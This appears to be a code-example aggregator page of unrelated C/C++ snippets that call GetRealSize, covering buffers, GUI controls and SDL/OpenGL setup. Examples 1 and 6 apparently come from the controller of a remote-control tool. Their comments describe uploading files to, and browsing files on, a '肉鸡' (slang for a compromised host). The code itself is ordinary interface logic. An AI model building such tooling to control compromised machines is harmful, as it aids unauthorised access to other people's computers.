Esempio n. 1
0
//文件上传
void CFileView::OnFileUpload()
{
	CFileDialog cUpLoadDlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, NULL, this);
	if (IDOK == cUpLoadDlg.DoModal())
	{
		CString strDesFilePath = _T("");  //本机文件路径
		CString strCurFilePath = _T("");  //上传到肉鸡上文件的路径
		strDesFilePath = cUpLoadDlg.GetPathName();  //C:\FILE\TEXT.DAT
		GetDlgItemText(IDC_EDIT_CURPATH, strCurFilePath);
		strCurFilePath += cUpLoadDlg.GetFileName();  //肉鸡上存放路径: D:\File\TEXT.DAT
		WIN32_FIND_DATAW FileData;
		HANDLE hFile = FindFirstFileW(strDesFilePath, &FileData);
		if (INVALID_HANDLE_VALUE == hFile)
		{
			::MessageBox(this->m_hWnd, _T("无法传送该文件"), _T("提示"), MB_OK | MB_ICONWARNING);
		}
		else
		{
			DWORDLONG dl = MAXDWORD;
			__int64 uSize = ((__int64)FileData.nFileSizeHigh * (dl + 1)) + (__int64)FileData.nFileSizeLow;
			CString strRealSize = GetRealSize(uSize);
			((CFileManager*)m_pWndMsg)->m_tabCtrl.SetCurFocus(1);
			((CFileManager*)m_pWndMsg)->GetFileTransPoint()->OnAddFileList(1, strDesFilePath, strCurFilePath, strRealSize, 0);
		}
	}
}
Esempio n. 2
0
bool RWBuffer_Write(RWBuffer _self, const uint* from, const uint write_size)
{
    register uint* registered_top_pointer = (uint*)_self.self->top_pointer;
    register uint* registered_bottom_pointer = (uint*)_self.self->bottom_pointer;
    uint real_write_size = GetRealSize(uint, write_size);
    uint number_uints = real_write_size / sizeof(uint);
    uint* buffer_chunk_pointer = registered_bottom_pointer + 2;

    for (uint i = 0; i < number_uints; i++)
    {
        if (buffer_chunk_pointer > _self.self->bottom_barrier)
            buffer_chunk_pointer = (uint*)_self.self->top_barrier;

        if (buffer_chunk_pointer == registered_top_pointer)
            return false;

        *buffer_chunk_pointer = from[i];
        buffer_chunk_pointer++;
    }

    if (buffer_chunk_pointer > _self.self->bottom_barrier)
        buffer_chunk_pointer = (uint*)_self.self->top_barrier;

    *registered_bottom_pointer = real_write_size;
    registered_bottom_pointer++;
    if (registered_bottom_pointer > _self.self->bottom_barrier)
        registered_bottom_pointer = _self.self->top_barrier;
    *registered_bottom_pointer = (uint)buffer_chunk_pointer;

    _self.self->bottom_pointer = buffer_chunk_pointer;
    return true;
}
Esempio n. 3
0
///**********************************************************************///
///                       class implement begin                          ///
///**********************************************************************///
SafedBuffer::SafedBuffer(euint bufferSize)
: m_nonblockingCount(0)
, m_blockingCount(0)
{
	euint size = GetRealSize(euint, bufferSize);
	m_transferBuffer = (char*)Malloc(size);
	m_buffer = RWBuffer_new(bufferSize);
}
Esempio n. 4
0
void CControl::UpdateQuadP()
{
    const CVec2& realSize = GetRealSize();
    CVec2 anchorPos = GetAnchor() * realSize;

    //set vertex
    m_quadp.tl = CVec3(-anchorPos);
    m_quadp.br = CVec3(realSize - anchorPos);
    m_quadp.tr.x = m_quadp.br.x;
    m_quadp.tr.y = m_quadp.tl.y;
    m_quadp.bl.x = m_quadp.tl.x;
    m_quadp.bl.y = m_quadp.br.y;
}
Esempio n. 5
0
RWBuffer RWBuffer_new(uint buffer_size)
{
    RWBuffer ret;
    ret.self = (rw_buffer*)Malloc(sizeof(rw_buffer));

    uint real_size = GetRealSize(uint, buffer_size);
    uint number_uints = real_size / sizeof(uint);
    ret.self->top_barrier = (uint*)Malloc(real_size);
    ret.self->bottom_barrier = ret.self->top_barrier + number_uints;
    ret.self->top_pointer = ret.self->top_barrier;
    ret.self->bottom_pointer = ret.self->top_barrier;
    return ret;
}
Esempio n. 6
0
void CFileView::SetFileListInfo( IN FILEINFO_C tagFileInfo )
{
	int i = 0;
	switch (tagFileInfo.nType)
	{
	case FILE_ATTR:    //文件
		{
			int nCount = m_listCtrl.GetItemCount();  //已经获取到的数量
			SHFILEINFO shInfo; //mfc文件信息结构体
			memset((char*)&shInfo, 0, sizeof(shInfo));
		
			//利用文件扩展名来决定图标显示,比如传过来的是a.exe,则找到客户端exe文件图标显示的句柄.
            if (SHGetFileInfo(tagFileInfo.szFileName, 0, &shInfo, sizeof(shInfo), SHGFI_ICON |SHGFI_USEFILEATTRIBUTES))
			{
				i = m_ImageList.Add(shInfo.hIcon);   //将文件图标句柄添加到CImageList控件成员变量中
				m_listCtrl.InsertItem(nCount, tagFileInfo.szFileName, i);
			}
			else   //文件图标句柄获取失败! 则采用资源引入的文件图标
			{
				i = m_ImageList.Add(AfxGetApp()->LoadIcon(IDI_ICON_FILE));
				m_listCtrl.InsertItem(nCount, tagFileInfo.szFileName, i);
			}
			m_listCtrl.SetItemText(nCount, 1, _T(""));
			__int64* pFileSize = new __int64(tagFileInfo.size);
			m_listCtrl.SetItemData(nCount, DWORD(pFileSize));
			CString strFileSize = _T("");  //文件大小
			strFileSize = GetRealSize(tagFileInfo.size);
			m_listCtrl.SetItemText(nCount, 2, strFileSize);
		}
		break;
	case FOLDER_ATTR:  //文件夹
		{
			m_treeFile.InsertItem(tagFileInfo.szFileName, 3, 3, m_hItem, 0);  //左边树控件
			i = m_ImageList.Add(AfxGetApp()->LoadIcon(IDI_ICON_FOLDERLIST));  //文件夹图标
			m_listCtrl.InsertItem(m_nDirCount, tagFileInfo.szFileName, i);
			m_listCtrl.SetItemText(m_nDirCount, 1, _T("文件夹"));
			m_listCtrl.SetItemText(m_nDirCount, 2, _T("0"));
			m_nDirCount++;  //文件夹数量
		}
		break;
	case FILE_TAG:    //文件列表信息发送完毕
		{
	//		m_bFlag = true;
			m_treeFile.Expand(m_hItem, TVE_EXPAND);  //展开点击的节点
		}
		break;
	default:
		break;
	}
	UpDataStatusBar(m_hItem);
}
Esempio n. 7
0
void GLFuncs::SwapBuffers()
{
	if (this->_useFramebuffer) {
		// Render to the screen
		glBindFramebuffer(GL_FRAMEBUFFER, 0);
		glDrawBuffer(GL_BACK);

		int w, h;
		GetRealSize(&w, &h);

		// Render on the whole framebuffer, complete from the lower left corner to the upper right
		glViewport(0, 0, _windowWidth, _windowHeight);

		// Clear the screen
		glClear(GL_COLOR_BUFFER_BIT);

		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);

		glBindTexture(GL_TEXTURE_2D, _renderedTexture);

		// Renderizar la textura.
		//BlitRect(0, 0, _realWidth, _realHeight, 0.0f, 1.0f, 1.0f, 0.0f);
		BlitRect((int)((_windowWidth - w)/2), 
			(int)((_windowHeight-h)/2), 
			w, 
			h,
			0.0f, 1.0f, 1.0f, 0.0f);
	}

	SDL_GL_SwapWindow(this->_window);

	if (this->_useFramebuffer) {
		// Restore so we draw in the texture again.
		glBindFramebuffer(GL_FRAMEBUFFER, _frameBufferName);

		GLenum drawBuffers[1] = { GL_COLOR_ATTACHMENT0 };
		glDrawBuffers(1, drawBuffers);

		glViewport(0, 0, _screenWidth, _screenHeight);

		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
		glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
	}
}
Esempio n. 8
0
void CControl::GetAnchorPosition( float& x, float& y )
{
    x = GetAnchor().x * GetRealSize().x;
    y = GetAnchor().y * GetRealSize().y;
}
Esempio n. 9
0
SDL_Window *GLFuncs::Initialize(int screenWidth, int screenHeight, GLboolean fullscreen, const char* name)
{
	Uint32 flags;

	if (SDL_Init(SDL_INIT_EVERYTHING) != 0) {
		Log::Out << "Unable to initialize SDL: " << SDL_GetError() << endl;
		return NULL;
	}
	atexit(SDL_Quit);

	flags = SDL_WINDOW_OPENGL;

	_screenWidth = screenWidth;
	_screenHeight = screenHeight;

	_windowWidth = _screenWidth;
	_windowHeight = _screenHeight;

	if (fullscreen)
	{
		flags |= SDL_WINDOW_FULLSCREEN;

		SDL_DisplayMode currentDisplay;
		if(SDL_GetCurrentDisplayMode(0, &currentDisplay)) {
			Log::Out << "Couldn't get current display mode: " << SDL_GetError() << endl;
		} else {
			Log::Out << "Current display mode: " << currentDisplay.w << "x" << currentDisplay.h << endl;
			_windowWidth = currentDisplay.w;
			_windowHeight = currentDisplay.h;
		}
	}

	Log::Out << "Window size: " << _windowWidth << "x" << _windowHeight << endl;

	int realW, realH;
	GetRealSize(&realW, &realH);
	Log::Out << "Real size: " << realW << "x" << realH << endl;
	this->StaticProjection = glm::ortho(0.0f, (float)_windowWidth, (float)_windowHeight, 0.0f, -1.0f, 1.0f);

	setGLAttributes();

	_window = SDL_CreateWindow(name,
		SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED,
		_windowWidth, _windowHeight,
		flags);

	if (!_window) {
		Log::Out << "Unable to create window." << endl;
		checkSDLError(__LINE__);
	}

	SDL_Surface *icon = Pack::GetInstance()->GetImg("data/UWOLIcon.png");
	SDL_SetWindowIcon(_window, icon);

	_mainContext = SDL_GL_CreateContext(_window);
	SDL_GL_MakeCurrent(_window, _mainContext);

#ifndef __APPLE__
	glewExperimental = GL_TRUE;
	glewInit();
#endif

	char* obtainedVersion = (char*)glGetString(GL_VERSION);
	string glVersion = getVersionFromStr(obtainedVersion);

	Log::Out << "OpenGL: " << obtainedVersion << endl;

	int version;
	stringstream ss(glVersion);
	ss >> version;

#ifdef __APPLE__
	this->_useShaders = true;
#else
	this->_useShaders = (glCreateProgram != NULL); //version >= 20;
#endif
	if (_useShaders) {
		this->_vtxAttribIdx = 0;
		this->_uvAttribIdx = 1;
		this->_colAttribIdx = 2;

		this->_glslVersion = getGLSLVersion();
		Log::Out << "GLSL: " << (this->_glslVersion == "" ? "Not available!" : this->_glslVersion) << endl;
	}
	else {
		Log::Out << "Shaders are not available" << endl;
	}

	this->_useVBO = (glGenVertexArrays!=NULL); //version >= 20;
	if (this->_useVBO) {
		this->_useFramebuffer = this->initFramebuffer();
	}

	glViewport(0, 0, _screenWidth, _screenHeight);

	glClearColor(0.0f, 0.0f, 0.0f, 1.0f);

	glDisable(GL_DEPTH_TEST);
	glDepthMask(GL_FALSE);

	//	glShadeModel(GL_SMOOTH);

	glDisable(GL_CULL_FACE);

	//#if !ESSENTIAL_GL_PRACTICES_SUPPORT_GL3
	//	//glEnable(GL_ALPHA_TEST);
	//	//glAlphaFunc(GL_GREATER, 0.01f);
	//	//glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
	//#endif

	glEnable(GL_BLEND);
	glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);

	glPointSize(2.0f);

	if (this->_useVBO) {
		glGenVertexArrays(1, &_vaoVertex);
		glBindVertexArray(_vaoVertex);

		glGenBuffers(1, &_vboVertex);
		glGenBuffers(1, &_vboUV);
		glGenBuffers(1, &_vboColor);
		glGenBuffers(1, &_vboLineVertex);
	}

	this->ResetMVP();

	GLint texture_units;

	glGetIntegerv(GL_MAX_TEXTURE_IMAGE_UNITS, &texture_units);
	_activeTextures.resize(texture_units, 0);

	return _window;
}